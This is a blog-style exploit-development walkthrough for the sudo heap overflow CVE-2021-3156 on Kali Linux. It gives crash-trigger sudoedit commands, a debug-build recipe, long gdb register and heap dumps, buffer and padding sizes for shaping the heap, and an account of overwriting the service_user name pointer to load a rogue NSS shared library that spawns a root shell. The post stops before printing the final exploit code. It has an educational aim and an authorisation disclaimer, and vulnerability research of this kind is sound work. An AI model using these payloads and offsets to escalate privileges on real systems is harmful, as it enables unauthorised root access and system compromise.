Key facts
The CVE-2021-3156 vulnerability in sudo is an interesting heap-based buffer overflow condition that allows for privilege escalation on Linux and Mac systems, if the vulnerability is exploited successfully.
The bug in sudo was disclosed by Qualys researchers on their blog/website which you can find here. All relevant details are listed there.
Further technical details also disclosed by Qualys researchers, that you may find interesting and helpful when developing your own exploit, can be found here.
There are also several publicly disclosed exploits that you can find either on GitHub or elsewhere on the Internet. One working proof of concept exploit disclosed by the independent researcher that I analysed is here.
I will analyse the information and details available publicly and use the key pieces of the puzzle to develop a custom working exploit for this vulnerability. At the end of this post, which may take a while to finish, you will know how to exploit this vulnerability with the custom code provided and you will also be introduced to the fascinating topic of the exploit development.
Before I show you how to do it it, I need to say that this information is meant to be for security researchers, enthusiasts and professionals and should not be used by anybody to attack any systems that they are not authorised to attack or compromise.
Lab setup
If you would like to follow me as I progress with the exploit development, please set up the lab with a Linux distribution of your choice that uses a vulnerable (unpatched) version of the sudo. If you are not sure how to check, if the sudo version you have is vulnerable refer to the links above where all the details are listed. A quick summary of what you need is as follows:
- Virtual machine with any distribution of your choice e.g. Ubuntu/Debian – target
- GDB debugger for Linux – for debugging and fine tuning the exploit
- Python3 installed on your system – to create payloads and the final exploit
I am going to skip the time consuming steps to save time and focus on what is actually important. The typical exploit development process for binaries/software involves the following steps, some of which will not be covered here due to time constraints:
- fuzzing
- analysing crashes to understand, if they are exploitable
- bypassing various memory protections e.g. ASLR, DEP
- developing a working proof of concept payload that triggers the crash and can be used to exploit the vulnerability
- debugging the vulnerable binary/program/software to identify attack vectors
- creating proof of concept exploit that is stable, reliable and portable
- fine tuning of the exploit to give it the enterprise grade rating and ensure that production systems will not crash, even if the exploit fails for some reason
I will try to keep the write up simple for you so that you can understand what is happening. However, if anything is not clear or you need more details, use the comments box to send me your questions and I will get back to you with the answers.
When the exploit development process is completed, the working exploit will be ready and should work on any unpatched distribution. I will also show you how to modify it to make it work on systems with different memory layouts and offsets.
Exploit Development
There are three known and working methods to exploit this bug as per bug disclosure information:
- struct sudo_hook_entry overwrite
- struct service_user overwrite
- def_timestampdir overwrite
I will focus on the second method here.
All steps will be completed on the Kali Linux virtual machine that is vulnerable and exploitable, based on the versions and behaviours it shows. However, you can never be 100% certain that the bug is exploitable until you actually develop a working exploit yourself.
┌──(user㉿kali)-[~] └─$ cat /etc/*release PRETTY_NAME="Kali GNU/Linux Rolling" NAME="Kali GNU/Linux" ID=kali VERSION="2020.4" VERSION_ID="2020.4" VERSION_CODENAME="kali-rolling" ID_LIKE=debian ANSI_COLOR="1;31" HOME_URL="https://www.kali.org/" SUPPORT_URL="https://forums.kali.org/" BUG_REPORT_URL="https://bugs.kali.org/"
Versions of sudo and libc are shown below for the reference.
I have downloaded and compiled the same Sudo version as above and recompiled it with debugging symbols enabled to make it easier to debug the binary and quickly identify any issues. If you do not have debugging symbols, you will be scratching your head for hours and may end up being frustrated by the lack of progress, so please make sure you take care of those before starting your exploit development work. For those who need some help, the steps you need to follow are summarised below:
- Download the source code for the version of sudo you are working with that works with your distribution e.g. the filename in my case is SUDO_1_9_4p2.tar.gz
- create a new directory e.g. sudo-binary and move the file there
cd sudo-binary tar xf SUDO_1_9_4p2.tar.gz mkdir build-dir cd build-dir/ ../configure --enable-env-debug make -j sudo make install
Now you have the binary with debugging symbols enabled and ready for debugging. During initial stages of the development/debugging ensure that you run your gdb instance either as a sudo user or preferably as a root to avoid having any issues while debugging.
First we run the test payload to see the default behaviour outside of the debugger.
┌──(user㉿kali)-[~/sudo-binary]
└─$ sudoedit -s '\' perl -e 'print "A" x 65536'
malloc(): corrupted top size
Aborted
┌──(user㉿kali)-[~/sudo-binary]
└─$ sudoedit -s '\' $(python -c'print("A"*65535)')
malloc(): corrupted top size
Aborted
┌──(user㉿kali)-[~/sudo-binary]
└─$
As you can see, the error message has been returned twice indicating that the vulnerability may be present. When loading the binaries for debugging into gdb, ensure that you specify the full path to the binary rather than just the name of the binary. If you have multiple versions on your system and different environment variables you may end up looking at the wrong binary and wondering why you are not getting the results.
For certain exploits the size of the memory available to the target also matters, in this case, 4GB of RAM is allocated to the virtual machine.
┌──(user㉿kali)-[~/sudo-binary] └─$ free total used free shared buff/cache available Mem: 4033164 609776 2659264 31876 764124 3147108 Swap: 0 0 0
Debugging
The most interesting part starts from here. As you can see before you can even start, you need to have some prerequisites in place, otherwise you will not get the expected results from your hard work.
If something does not work or you cannot do it because you lack skills, do not be discouraged. Keep trying, keep learning and researching until you find the required information that you need to progress to the next stage of the exploit development process.
There is enough of information about the vulnerability to skip a few steps. However, the sample payload is far from being certain at this stage. Memory layouts are never the same on two different systems with identical settings therefore once the working exploit is developed for one system, it can be later tweaked to account for different layouts and offsets on other systems. That means that each potential target will need to be inspected manually to confirm what changes, if any at all, are required to make the exploit portable.
I will fast forward a few basic steps and get you straight into the debugger to save time. The breakpoint is set at set_cmnd function at line 964.
Breakpoint 1, set_cmnd () at ../../../plugins/sudoers/sudoers.c:964 964 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { (gdb) info registers rax 0x56194a0c68e0 94666616498400 rbx 0x56194a0c68e0 94666616498400 rcx 0x56194a0d68e0 94666616563936 rdx 0x56194a0c68d0 94666616498384 rsi 0x10003 65539 rdi 0x56194a0c68e0 94666616498400 rbp 0x56194a0bebc0 0x56194a0bebc0 rsp 0x7fff45fa54c0 0x7fff45fa54c0 r8 0x56194a0c68e0 94666616498400 r9 0x7f4bb90e2be0 139963203988448 r10 0x10030 65584 r11 0x56194a0d1000 94666616541184 r12 0x0 0 r13 0x10003 65539 r14 0x0 0 r15 0x56194a0bebb8 94666616466360 rip 0x7f4bb8bcac4b 0x7f4bb8bcac4b eflags 0x202 [ IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
The payload of 65536 “A”s has been sent. Take a look at the what is happening. There is argument 0 = sudoedit, argument 1 = “\\” and argument 2 = “A” x your payload. Even though, 65536 “A”s have been sent, the additional 3 bytes need to be accounted for giving us a total of 65539 as shown below. The last value shown in bold included the current heap address space at the specific address.
(gdb) p NewArgv[0] $1 = 0x56194852fcae "sudoedit" (gdb) p NewArgv[1] $2 = 0x7fff45fa6860 "\\" (gdb) p NewArgv[2] $3 = 0x7fff45fa6862 'A' … (gdb) x /20xg 0x7fff45fa6860 0x7fff45fa6860: 0x414141414141005c 0x4141414141414141 0x7fff45fa6870: 0x4141414141414141 0x4141414141414141 0x7fff45fa6880: 0x4141414141414141 0x4141414141414141 0x7fff45fa6890: 0x4141414141414141 0x4141414141414141 0x7fff45fa68a0: 0x4141414141414141 0x4141414141414141 0x7fff45fa68b0: 0x4141414141414141 0x4141414141414141 0x7fff45fa68c0: 0x4141414141414141 0x4141414141414141 0x7fff45fa68d0: 0x4141414141414141 0x4141414141414141 0x7fff45fa68e0: 0x4141414141414141 0x4141414141414141 0x7fff45fa68f0: 0x4141414141414141 0x4141414141414141 (gdb) p size $4 = 65539 (gdb) p sudo_user.cmnd_args $5 = 0x56194a0c68e0 "" (gdb) x /8xg 0x56194a0c68e0 0x56194a0c68e0: 0x0000000000000000 0x0000000000000000 0x56194a0c68f0: 0x0000000000000000 0x0000000000000000 0x56194a0c6900: 0x0000000000000000 0x0000000000000000 0x56194a0c6910: 0x0000000000000000 0x0000000000000000
Let’s take a look now at the flow after the next breakpoint is reached. The same address contains multiple “A”s. These are heap based addresses.
(gdb) c Continuing. Breakpoint 2, set_cmnd () at ../../../plugins/sudoers/sudoers.c:978 978 *--to = '\0'; (gdb) x /8xg 0x56194a0c68e0 0x56194a0c68e0: 0x4141414141414100 0x4141414141414141 0x56194a0c68f0: 0x4141414141414141 0x4141414141414141 0x56194a0c6900: 0x4141414141414141 0x4141414141414141 0x56194a0c6910: 0x4141414141414141 0x4141414141414141 (gdb) p to $6 = 0x56194a0e68e2 " " (gdb) p 0x56194a0e68e2-0x56194a0c68e0 $7 = 131074
Moving on, a quick check reveals that we are quite a bit off the preferred target range. In fact, 131074 is the distance between the current offset and the offset where we started initially. What does it mean?
gdb) info registers rax 0x56194a0e68e3 94666616629475 rbx 0x56194a0e68e2 94666616629474 rcx 0x0 0 rdx 0x7fff45fb6862 140734367492194 rsi 0x10003 65539 rdi 0x56194a0c68e0 94666616498400 rbp 0x56194a0bebd0 0x56194a0bebd0 rsp 0x7fff45fa54c0 0x7fff45fa54c0 r8 0x7f4bb8f1d218 139963202130456 r9 0x7f4bb90e2be0 139963203988448 r10 0x10030 65584 r11 0x56194a0d1000 94666616541184 r12 0x0 0 r13 0x7fff45fb6861 140734367492193 r14 0x0 0 r15 0x0 0 rip 0x7f4bb8bcb558 0x7f4bb8bcb558 eflags 0x246 [ PF ZF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) x /16xg $rbx 0x56194a0e68e2: 0x0000000000000020 0x0000000000000000 0x56194a0e68f2: 0x0000000000000000 0x0000000000000000 0x56194a0e6902: 0x0000000000000000 0x0000000000000000 0x56194a0e6912: 0x0000000000000000 0x0000000000000000 0x56194a0e6922: 0x0000000000000000 0x0000000000000000 0x56194a0e6932: 0x0000000000000000 0x0000000000000000 0x56194a0e6942: 0x0000000000000000 0x0000000000000000 0x56194a0e6952: 0x0000000000000000 0x0000000000000000 (gdb) x /16xg $rbx-131074 0x56194a0c68e0: 0x4141414141414100 0x4141414141414141 0x56194a0c68f0: 0x4141414141414141 0x4141414141414141 0x56194a0c6900: 0x4141414141414141 0x4141414141414141 0x56194a0c6910: 0x4141414141414141 0x4141414141414141 0x56194a0c6920: 0x4141414141414141 0x4141414141414141 0x56194a0c6930: 0x4141414141414141 0x4141414141414141 0x56194a0c6940: 0x4141414141414141 0x4141414141414141 0x56194a0c6950: 0x4141414141414141 0x4141414141414141
As you can see above, we worked out that the rbx (register b extended) is currently pointing to a location in the heap that is quite a bit off the location we need to be closer to which is 0x56194a0c68e0. For the reference the general purpose registers are as follows:
- rax,rbx,rcx,rdx = extended registers,
- rbp is the base pointer (where the stack starts),
- rsp – is register stack pointer (current stack location, growing downwards),
- rsi – is the source index (for data copies),
- rdi – is the destination index (for data copies).
- There are also other registers from r8 to r15 that you can access via ‘r’ prefix e.g. rax,r15
Current heap address mappings can be seen below for the reference. I have removed other values that are not relevant here.
0x56194a0b0000 0x56194a0f7000 0x47000 0x0 [heap] (gdb) find 0x56194a0b0000,0x56194a0f7000,"AAAA" warning: Unable to access 2813 bytes of target memory at 0x56194a0f6504, halting search.
Something has gone wrong here. The payload has gone too far and corrupted specific addresses. In addition, the heap space has been expanded from 21000 to 47000.
(gdb) x /20xg 0x56194a0f6504 0x56194a0f6504: 0x0000000000000000 0x0000000000000000 0x56194a0f6514: 0x0000000000000000 0x0000000000000000 0x56194a0f6524: 0x0000000000000000 0x0000000000000000 0x56194a0f6534: 0x0000000000000000 0x0000000000000000 0x56194a0f6544: 0x0000000000000000 0x0000000000000000 0x56194a0f6554: 0x0000000000000000 0x0000000000000000 0x56194a0f6564: 0x0000000000000000 0x0000000000000000 0x56194a0f6574: 0x0000000000000000 0x0000000000000000 0x56194a0f6584: 0x0000000000000000 0x0000000000000000 0x56194a0f6594: 0x0000000000000000 0x0000000000000000
If the program continues as intended we get an error.
(gdb) c Continuing. malloc(): corrupted top size Program received signal SIGABRT, Aborted. __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt 0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 1 0x00007f4bb8f49537 in __GI_abort () at abort.c:79 2 0x00007f4bb8fa2708 in __libc_message (action=action@entry=do_abort,fmt=fmt@entry=0x7f4bb90b0e31 "%s\n") at ../sysdeps/posix/libc_fatal.c:155
3 0x00007f4bb8fa99fa in malloc_printerr (str=str@entry=0x7f4bb90af11f "malloc(): corrupted top size") at malloc.c:5347
4 0x00007f4bb8fad0d7 in _int_malloc (av=av@entry=0x7f4bb90e2b80 ,bytes=bytes@entry=262148) at malloc.c:4107
5 0x00007f4bb8fae104 in __GI___libc_malloc (bytes=262148) at malloc.c:3058 6 0x00007f4bb9113d09 in sudo_getgrouplist2_v1 (name=0x56194a0b89a8 "root",basegid=0, groupsp=groupsp@entry=0x7fff45fa4e30, ngroupsp=ngroupsp@entry=0x7fff45fa4e2c) at ../../../lib/util/getgrouplist.c:94
7 0x00007f4bb8bdfe03 in sudo_make_gidlist_item (pw=0x56194a0b8978,unused1=<optimized out>, type=1) at ../../../plugins/sudoers/pwutil_impl.c:269
8 0x00007f4bb8bdeb4e in sudo_get_gidlist (pw=0x56194a0b8978, type=type@entry=1)at ../../../plugins/sudoers/pwutil.c:926
9 0x00007f4bb8bd7f89 in runas_getgroups ()at ../../../plugins/sudoers/match.c:141
10 0x00007f4bb8bc71fe in runas_setgroups ()at ../../../plugins/sudoers/set_perms.c:1584
11 set_perms (perm=perm@entry=5) at ../../../plugins/sudoers/set_perms.c:275 12 0x00007f4bb8bc086a in sudoers_lookup (snl=0x7f4bb8c1ed80 ,pw=0x56194a0b8978, cmnd_status=cmnd_status@entry=0x7f4bb8c1ed94 <cmnd_status>, pwflag=pwflag@entry=0) at ../../../plugins/sudoers/parse.c:355
13 0x00007f4bb8bcad8b in sudoers_policy_main (argc=argc@entry=3,argv=argv@entry=0x56194a0b3850, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7fff45fa5570) at ../../../plugins/sudoers/sudoers.c:420
14 0x00007f4bb8bc32fc in sudoers_policy_check (argc=3, argv=0x56194a0b3850,env_add=0x0, command_infop=0x7fff45fa5630, argv_out=0x7fff45fa5638, user_env_out=0x7fff45fa5640, errstr=0x7fff45fa5658) at ../../../plugins/sudoers/policy.c:1028
15 0x00005619485151d5 in policy_check (user_env_out=0x7fff45fa5640,argv_out=0x7fff45fa5638, command_info=0x7fff45fa5630, env_add=0x0, argv=0x56194a0b3850, argc=3) at ../../src/sudo.c:1168
16 main (argc=, argv=, envp=0x7fff45fa58e0)
Quick check of the registers shows that we are off the target range.
(gdb) info registers rax 0x0 0 rbx 0x7f4bb8f1d280 139963202130560 rcx 0x7f4bb8f5fc81 139963202403457 rdx 0x0 0 rsi 0x7fff45fa4970 140734367418736 rdi 0x2 2 rbp 0x7fff45fa4cc0 0x7fff45fa4cc0 rsp 0x7fff45fa4970 0x7fff45fa4970 r8 0x0 0 r9 0x7fff45fa4970 140734367418736 r10 0x8 8 r11 0x246 582 r12 0x7fff45fa4be0 140734367419360 r13 0x1000 4096 r14 0x10 16 r15 0x7f4bb9175000 139963204587520 rip 0x7f4bb8f5fc81 0x7f4bb8f5fc81 <__GI_raise+321> eflags 0x246 [ PF ZF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
The registers point to the stack locations now. Some work is required here to fine tune our initial payload to end up in the correct segment, overwrite the address on the heap, that we control which will point to the shared library that we can use to get our shell as root. We can use some GOT address as well that will take us to the correct destination. Jumping around and trying to manually hardcode the flow is not the most efficient option here. The better approach is to first overwrite the memory address at nss_load_library with our payload precisely, then perform a small jump to bypass 00 bytes and end up in the NOP buffer space leading to the addresses where our actual shell code will be placed.
Let’s try something different this time. Another payload.
(gdb) r -s AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/local/bin/sudoedit -s AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, set_cmnd () at ../../../plugins/sudoers/sudoers.c:964 964 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
Let’s continue to the next breakpoint.
(gdb) c Continuing. Breakpoint 2, set_cmnd () at ../../../plugins/sudoers/sudoers.c:978 978 *--to = '\0'; (gdb) x /8xg 0x563672e96990 0x563672e96990: 0x4141414141414141 0x4141414141414141 0x563672e969a0: 0x4141414141414141 0x4141414141414141 0x563672e969b0: 0x4141414141414141 0x4141414141414141 0x563672e969c0: 0x4141414141414141 0x4141414141414141 (gdb) p to $13 = 0x563672e96a1f " \300\230\351r6V" (gdb) p 0x563672e96a1f-0x563672e96990 $15 = 143
One more break point and something interesting happens.
(gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x00007f5e35beee7b in userlist_matches (parse_tree=0x563672e865a8, pw=pw@entry=0x563672e8b978, list=list@entry=0x563672e96be0) at ../../../plugins/sudoers/match.c:121 121 TAILQ_FOREACH_REVERSE(m, list, member_list, entries) { (gdb) bt 0 0x00007f5e35beee7b in userlist_matches (parse_tree=0x563672e865a8,pw=pw@entry=0x563672e8b978, list=list@entry=0x563672e96be0) at ../../../plugins/sudoers/match.c:121
1 0x00007f5e35bd696b in sudoers_lookup_check (now=1612889848,defs=<synthetic pointer>, matching_cs=<synthetic pointer>, info=0x7fffe7d0a010, validated=<synthetic pointer>, pw=0x563672e8b978, nss=0x7f5e35c34b20 <sudo_nss_file>) at ../../../plugins/sudoers/parse.c:129
2 sudoers_lookup (snl=, pw=0x563672e8b978,cmnd_status=cmnd_status@entry=0x7f5e35c34d94 <cmnd_status>, pwflag=pwflag@entry=0) at ../../../plugins/sudoers/parse.c:367
3 0x00007f5e35be0d8b in sudoers_policy_main (argc=argc@entry=4,argv=argv@entry=0x563672e86850, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7fffe7d0a1b0) at ../../../plugins/sudoers/sudoers.c:420
4 0x00007f5e35bd92fc in sudoers_policy_check (argc=4, argv=0x563672e86850,env_add=0x0, command_infop=0x7fffe7d0a270, argv_out=0x7fffe7d0a278, user_env_out=0x7fffe7d0a280, errstr=0x7fffe7d0a298) at ../../../plugins/sudoers/policy.c:1028
5 0x0000563671d1d1d5 in policy_check (user_env_out=0x7fffe7d0a280,argv_out=0x7fffe7d0a278, command_info=0x7fffe7d0a270, env_add=0x0, argv=0x563672e86850, argc=4) at ../../src/sudo.c:1168
6 main (argc=, argv=, envp=0x7fffe7d0a528)at ../../src/sudo.c:267
Take a look at the rax register which has been overwritten by the second variable “B” that we inserted into our payload.
(gdb) info registers rax 0x42424242424242 18650200809816642 rbx 0x563672e96be0 94791856122848 rcx 0x7 7 rdx 0xffffffff 4294967295 rsi 0x0 0 rdi 0x0 0 rbp 0x563672e8b978 0x563672e8b978 rsp 0x7fffe7d09f70 0x7fffe7d09f70 r8 0x7f5e361385fc 140042610902524 r9 0x7fffe7d09e70 140737082596976 r10 0x7f5e360c5470 140042610431088 r11 0x7fffe7dd9970 140737083447664 r12 0x0 0 r13 0x563672e865a8 94791856055720 r14 0x0 0 r15 0x7fffe7d0a008 140737082597384 rip 0x7f5e35beee7b 0x7f5e35beee7b eflags 0x10202 [ IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
Looking closer at the heap we can see that our “B” pattern is available at the location shown below.
(gdb) find 0x563672e83000,0x563672ea4000,"BBBB" 0x563672e96a1b (gdb) x /40xg 0x563672e96a1b-160 0x563672e9697b: 0x0000000000000000 0x0000810000000000 0x563672e9698b: 0x4141410000000000 0x4141414141414141 0x563672e9699b: 0x4141414141414141 0x4141414141414141 0x563672e969ab: 0x4141414141414141 0x4141414141414141 0x563672e969bb: 0x4141414141414141 0x4141414141414141 0x563672e969cb: 0x4200204141414141 0x4242424242424242 0x563672e969db: 0x4242424242424242 0x4242424242424242 0x563672e969eb: 0x4242424242424242 0x4242204242424242 0x563672e969fb: 0x4242424242424242 0x4242424242424242 0x563672e96a0b: 0x4242424242424242 0x4242424242424242 0x563672e96a1b: 0xe998c00042424242 0x0001070000563672 0x563672e96a2b: 0x0000000000000000 0x0000310000000000 0x563672e96a3b: 0x0000000000000000 0xe96b980000000000 0x563672e96a4b: 0x0000000000563672 0x00011f0000000000 0x563672e96a5b: 0x0000000000000000 0x0000310000000000 0x563672e96a6b: 0x0000000000000000 0xe910200000000000 0x563672e96a7b: 0x0000000000563672 0x00011f0000000000 0x563672e96a8b: 0x0000000000000000 0x0000310000000000 0x563672e96a9b: 0x0000000000000000 0xe847e00000000000 0x563672e96aab: 0x0000000000563672 0x00011f0000000000
We are still a bit off the target as seen in the output below.
(gdb) p 0x563672e96be0-0x563672e96a1b $16 = 453 (gdb) x /20xg $rbx-453 0x563672e96a1b: 0xe998c00042424242 0x0001070000563672 0x563672e96a2b: 0x0000000000000000 0x0000310000000000 0x563672e96a3b: 0x0000000000000000 0xe96b980000000000 0x563672e96a4b: 0x0000000000563672 0x00011f0000000000 0x563672e96a5b: 0x0000000000000000 0x0000310000000000 0x563672e96a6b: 0x0000000000000000 0xe910200000000000 0x563672e96a7b: 0x0000000000563672 0x00011f0000000000 0x563672e96a8b: 0x0000000000000000 0x0000310000000000 0x563672e96a9b: 0x0000000000000000 0xe847e00000000000 0x563672e96aab: 0x0000000000563672 0x00011f0000000000
That is promising so we need to give it another go with a modified payload to see what happens next.
Exploit proof of concept (from user to root)
After some testing in the debugger one issue became apparent. The heap address overwrite needs to be very precise to create perfectly aligned heap memory layout that can be successfully exploited.
Trial and error methodology combined with debugging sessions confirmed that the following approach could be used when constructing the payload:
- use environment variables to define precise buffer length
- do not corrupt random addresses to avoid segmentation fault errors
- work out how to create custom heap layout filled with 0s in a specific location to construct perfectly aligned memory layout
- calculate precise distance between various offsets to overwrite the name pointer to the shared library where the shell code will be executed
Let’s see it in action first, and later I will talk you through the process. Below you can see that the shared library stored in a local directory on the test system called “libnss_XSHELLS” has been loaded instead of the default directory that the glibc would use. The break point is set at line 195 in dl-libc.c which is one instruction away from the root shell.
195 in dl-libc.c *RAX 0x7f4e1a0c25c0 (_rtld_global_ro) ◂— 0x5090f00000000 RBX 0x557c8665e0b0 ◂— 0x0 RCX 0x322e RDX 0xe RDI 0x7ffe6d8fdc30 ◂— 'libnss_XSHELLS/XSHELL.so.2' RSI 0x80000002 R8 0x557c86672810 —▸ 0x557c8665e0e0 ◂— 'XSHELLS/XSHELL' R9 0x4c4c454853582f R10 0x557c86672de0 ◂— 0x5c0 R11 0x0 R12 0x557c8665e0e0 ◂— 'XSHELLS/XSHELL' R13 0x7ffe6d8fdc50 ◂— 0x0 R14 0x1b R15 0x557c86672810 —▸ 0x557c8665e0e0 ◂— 'XSHELLS/XSHELL' RBP 0x7ffe6d8fdca0 —▸ 0x7ffe6d8fdd00 —▸ 0x7f4e19faa969 ◂— 'getspnam_r' RSP 0x7ffe6d8fdbf0 —▸ 0x7ffe6d8fdc30 ◂— 'libnss_XSHELLS/XSHELL.so.2' *RIP 0x7f4e19f55837 (__libc_dlopen_mode+55) ◂— mov rsi, rsp
The shared object being loaded is XSHELL.so.2 which happens to be the /bin/bash shell that had been created and compiled prior to running the exploit code.
What follows next is the code execution as root in the debugger.
c Continuing. Enjoy the root shell! Provided by Sylwester @ https://www.cybersecuritynotepad.com process 1616 is executing new program: /usr/bin/bash [New inferior 3]
The shell was spawned as expected with root privileges in the debugger. Now let’s execute the same exploit outside of the debugger to better visualise the privilege escalation.
This proof of concept exploit shows that the version of Kali Linux in use for the demonstration purposes is indeed vulnerable and exploitable. At the beginning of this post, it was not possible to categorically say whether this version of Sudo (1.9.4p2) was exploitable in reality. Now you can see that it is.
In summary, the exploit code included in the “ex3” file was send via sudoedit with correctly aligned user buffer injected via environment variables and padded with 0s to achieve the desired heap layout that enabled the name pointer that sits in the structure of the nss_load_library (struct service_user overwrite) to be overwritten and instead of using default glibc settings, it loaded the compiled “/bin/bash” shell from the shared library directory.
As you can see, the exploit is clean and it exited the shell without errors. In addition, it can be executed multiple times on the same system with all existing memory protections enabled including ASLR. Finally the icing on the cake is the fact, that it also works after the system reboot. This is ideal for production environments where stability and availability is the key and there is no room for errors that can be costly.
For the reference these are the memory protections as per default configuration on the test Kali system:
┌──(user㉿kali)-[~/cve-2021-3156/exploit2/CVE-2021-3156] └─$ checksec /usr/local/bin/sudo [*] '/usr/local/bin/sudo' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'/usr/local/libexec/sudo' FORTIFY: Enabled
Looking at the output above partial RELRO means that the ELF internal data sections are reordered in a way which makes these sections placed before the data sections of the program. It also makes non-procedure linkage table global offset table (GOT) read-only providing mitigation for GOT overwrites.
Stack Canary, stack cookie or also known as stack guard is designed to protect against stack based code execution. It places a random value on the stack which is checked before returning out of the stack frame. When the check fails the execution will be terminated. There are bypasses possible via information leakage, brute-forcing or exploiting the implementation of the random number generator. In this context, it is not important.
I won’t cover other memory protections here due to time constraints. The key observation is that, if all memory protections are enabled in this specific context, the privilege escalation is still possible as shown above.
When working on exploits, experience is helpful but even without it you can achieve your goals, as long as you are motivated and determined to succeed. If somebody says “this binary is not exploitable because it has protections A,B,C,D”, you can take it with a pinch of salt. It may not be exploitable to one person for various reasons, but there will always be somebody out there with the understanding and the skills who may be able to find the perfect solution to the problem. Nothing is impossible, as long as you have a strong belief in it.
Exploit code
As shown above, the test Kali system is exploitable with the custom exploit. I skipped a few steps to save time and show you only the essential information.
The actual payload will be analysed next to give you an idea how to code the exploit and make it work on your system of choice. It does not matter what you code the exploit with. You can use any programming/scripting language you are familiar with.
Most of the currently available exploits are either written in C or scripted in Python. Depending on the environment, various options may be preferred. I will get back to that point later.
The user controlled buffer and the environment variables are adjustable depending on the system. It is not always possible to accurately predict what it is and where it is in memory without debugging the binary and the exploit code. There are some predictable buffers/sizes that can be used either for hardcoding or brute-forcing, depending on the exploit structure. I manually verified what the correct values were and hardcoded all the values to ensure that they work reliably without brute-forcing.
The following buffers can be used:
Total user buffer e.g. "A" = 0x30 (48 bytes) Total environment variable buffer e.g. "\\" (0s) = varies Total user buffer 2 via environment variables e.g."B" = varies
Even those buffers that are variable are predictable as follows:
"B" = 0x19 = 25 bytes with total "\\" = 0xbe0 (3040 bytes) "B" = 0x29 = 41 bytes with total "\\" = 0xc50 (3152 bytes) "B" = 0x31 = 49 bytes with total "\\" = 0xc50 (3152 bytes) "B" = 0x41 = 65 bytes with total "\\" = 0xba0 (2976 bytes)
Now using this information, the payload can be constructed.
More details to follow…